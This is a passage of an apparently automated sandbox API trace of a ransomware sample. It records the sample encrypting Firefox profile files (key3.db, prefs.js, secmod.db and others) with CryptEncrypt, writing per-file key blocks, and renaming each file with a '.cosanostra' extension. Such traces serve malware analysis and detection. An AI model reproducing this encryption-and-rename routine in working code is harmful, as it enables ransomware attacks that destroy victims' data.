HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\secmod.db") returned 101 [0098.998] StrStrW (lpFirst="secmod.db", lpSrch=".txt") returned 0x0 [0098.999] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.999] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f254, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f254*=0x2800, lpOverlapped=0x0) returned 1 [0099.000] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.000] WriteFile (in: hFile=0x180, lpBuffer=0x251f294*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f254, lpOverlapped=0x0 | out: lpBuffer=0x251f294*, lpNumberOfBytesWritten=0x251f254*=0x4, lpOverlapped=0x0) returned 1 [0099.000] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f254, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f254*=0x30, lpOverlapped=0x0) returned 1 [0099.000] CloseHandle (hObject=0x180) returned 1 [0099.000] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\secmod.db.cosanostra") returned 112 [0099.000] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\secmod.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\secmod.db"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\secmod.db.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\secmod.db.cosanostra")) returned 1 [0099.002] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f298 | out: pbBuffer=0x251f298) returned 1 [0099.002] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f290*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f290*=0x30) returned 1 [0099.002] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\search.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\search.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0099.003] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\search.json") returned 103 [0099.003] StrStrW (lpFirst="search.json", lpSrch=".txt") returned 0x0 [0099.004] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.004] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f254, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f254*=0x2800, lpOverlapped=0x0) returned 1 [0099.004] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.004] WriteFile (in: hFile=0x180, lpBuffer=0x251f294*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f254, lpOverlapped=0x0 | out: lpBuffer=0x251f294*, lpNumberOfBytesWritten=0x251f254*=0x4, lpOverlapped=0x0) returned 1 [0099.005] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f254, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f254*=0x30, lpOverlapped=0x0) returned 1 [0099.005] CloseHandle (hObject=0x180) returned 1 [0099.005] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\search.json.cosanostra") returned 114 [0099.006] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\search.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\search.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\search.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\search.json.cosanostra")) returned 1 [0099.006] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f290 | out: pbBuffer=0x251f290) returned 1 [0099.007] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f288*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f288*=0x30) returned 1 [0099.007] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\prefs.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0099.023] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js") returned 100 [0099.023] StrStrW (lpFirst="prefs.js", lpSrch=".txt") returned 0x0 [0099.029] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffff022, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.029] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0xfde, lpNumberOfBytesWritten=0x251f24c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f24c*=0xfde, lpOverlapped=0x0) returned 1 [0099.030] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.030] WriteFile (in: hFile=0x180, lpBuffer=0x251f28c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f24c, lpOverlapped=0x0 | out: lpBuffer=0x251f28c*, lpNumberOfBytesWritten=0x251f24c*=0x4, lpOverlapped=0x0) returned 1 [0099.030] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f24c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f24c*=0x30, lpOverlapped=0x0) returned 1 [0099.030] CloseHandle (hObject=0x180) returned 1 [0099.030] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js.cosanostra") returned 111 [0099.030] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\prefs.js"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\prefs.js.cosanostra")) returned 1 [0099.031] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f290 | out: pbBuffer=0x251f290) returned 1 [0099.031] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f288*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f288*=0x30) returned 1 [0099.031] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\pluginreg.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\pluginreg.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0099.032] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\pluginreg.dat") returned 105 [0099.032] StrStrW (lpFirst="pluginreg.dat", lpSrch=".txt") returned 0x0 [0099.081] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffff1ec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.081] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0xe14, lpNumberOfBytesWritten=0x251f24c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f24c*=0xe14, lpOverlapped=0x0) returned 1 [0099.082] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.082] WriteFile (in: hFile=0x180, lpBuffer=0x251f28c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f24c, lpOverlapped=0x0 | out: lpBuffer=0x251f28c*, lpNumberOfBytesWritten=0x251f24c*=0x4, lpOverlapped=0x0) returned 1 [0099.082] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f24c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f24c*=0x30, lpOverlapped=0x0) returned 1 [0099.082] CloseHandle (hObject=0x180) returned 1 [0099.082] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\pluginreg.dat.cosanostra") returned 116 [0099.082] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\pluginreg.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\pluginreg.dat"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\pluginreg.dat.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\pluginreg.dat.cosanostra")) returned 1 [0099.083] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f288 | out: pbBuffer=0x251f288) returned 1 [0099.083] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f280*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f280*=0x30) returned 1 [0099.083] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\parent.lock" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\parent.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0099.083] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\parent.lock") returned 103 [0099.083] StrStrW (lpFirst="parent.lock", lpSrch=".txt") returned 0x0 [0099.084] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.084] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x251f244, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f244*=0x0, lpOverlapped=0x0) returned 1 [0099.084] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.084] WriteFile (in: hFile=0x180, lpBuffer=0x251f284*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f244, lpOverlapped=0x0 | out: lpBuffer=0x251f284*, lpNumberOfBytesWritten=0x251f244*=0x4, lpOverlapped=0x0) returned 1 [0099.085] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f244, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f244*=0x30, lpOverlapped=0x0) returned 1 [0099.085] CloseHandle (hObject=0x180) returned 1 [0099.085] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\parent.lock.cosanostra") returned 114 [0099.085] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\parent.lock" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\parent.lock"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\parent.lock.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\parent.lock.cosanostra")) returned 1 [0099.087] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f280 | out: pbBuffer=0x251f280) returned 1 [0099.087] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f278*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f278*=0x30) returned 1 [0099.087] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\mimeTypes.rdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\mimetypes.rdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0099.090] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\mimeTypes.rdf") returned 105 [0099.090] StrStrW (lpFirst="mimeTypes.rdf", lpSrch=".txt") returned 0x0 [0099.091] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffff10d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.091] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xef3, lpNumberOfBytesWritten=0x251f23c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f23c*=0xef3, lpOverlapped=0x0) returned 1 [0099.091] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.091] WriteFile (in: hFile=0x15c, lpBuffer=0x251f27c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f23c, lpOverlapped=0x0 | out: lpBuffer=0x251f27c*, lpNumberOfBytesWritten=0x251f23c*=0x4, lpOverlapped=0x0) returned 1 [0099.091] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f23c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f23c*=0x30, lpOverlapped=0x0) returned 1 [0099.091] CloseHandle (hObject=0x15c) returned 1 [0099.091] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\mimeTypes.rdf.cosanostra") returned 116 [0099.091] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\mimeTypes.rdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\mimetypes.rdf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\mimeTypes.rdf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\mimetypes.rdf.cosanostra")) returned 1 [0099.093] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f280 | out: pbBuffer=0x251f280) returned 1 [0099.093] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f278*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f278*=0x30) returned 1 [0099.093] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\marionette.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\marionette.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0099.093] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\marionette.log") returned 106 [0099.093] StrStrW (lpFirst="marionette.log", lpSrch=".txt") returned 0x0 [0099.094] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffffc7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.094] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0x251f23c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f23c*=0x39, lpOverlapped=0x0) returned 1 [0099.094] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.094] WriteFile (in: hFile=0x15c, lpBuffer=0x251f27c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f23c, lpOverlapped=0x0 | out: lpBuffer=0x251f27c*, lpNumberOfBytesWritten=0x251f23c*=0x4, lpOverlapped=0x0) returned 1 [0099.094] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f23c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f23c*=0x30, lpOverlapped=0x0) returned 1 [0099.095] CloseHandle (hObject=0x15c) returned 1 [0099.095] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\marionette.log.cosanostra") returned 117 [0099.095] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\marionette.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\marionette.log"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\marionette.log.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\marionette.log.cosanostra")) returned 1 [0099.095] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f278 | out: pbBuffer=0x251f278) returned 1 [0099.095] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f270*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f270*=0x30) returned 1 [0099.096] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\localstore.rdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\localstore.rdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0099.096] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\localstore.rdf") returned 106 [0099.096] StrStrW (lpFirst="localstore.rdf", lpSrch=".txt") returned 0x0 [0099.097] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffaff, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.097] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x501, lpNumberOfBytesWritten=0x251f234, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f234*=0x501, lpOverlapped=0x0) returned 1 [0099.097] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.097] WriteFile (in: hFile=0x15c, lpBuffer=0x251f274*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f234, lpOverlapped=0x0 | out: lpBuffer=0x251f274*, lpNumberOfBytesWritten=0x251f234*=0x4, lpOverlapped=0x0) returned 1 [0099.098] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f234, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f234*=0x30, lpOverlapped=0x0) returned 1 [0099.098] CloseHandle (hObject=0x15c) returned 1 [0099.098] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\localstore.rdf.cosanostra") returned 117 [0099.098] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\localstore.rdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\localstore.rdf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\localstore.rdf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\localstore.rdf.cosanostra")) returned 1 [0099.099] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f278 | out: pbBuffer=0x251f278) returned 1 [0099.099] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f270*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f270*=0x30) returned 1 [0099.099] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\key3.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\key3.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0099.099] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\key3.db") returned 99 [0099.099] StrStrW (lpFirst="key3.db", lpSrch=".txt") returned 0x0 [0099.101] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.101] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f234, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f234*=0x2800, lpOverlapped=0x0) returned 1 [0099.101] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.103] WriteFile (in: hFile=0x15c, lpBuffer=0x251f274*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f234, lpOverlapped=0x0 | out: lpBuffer=0x251f274*, lpNumberOfBytesWritten=0x251f234*=0x4, lpOverlapped=0x0) returned 1 [0099.104] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f234, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f234*=0x30, lpOverlapped=0x0) returned 1 [0099.104] CloseHandle (hObject=0x15c) returned 1 [0099.104] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, 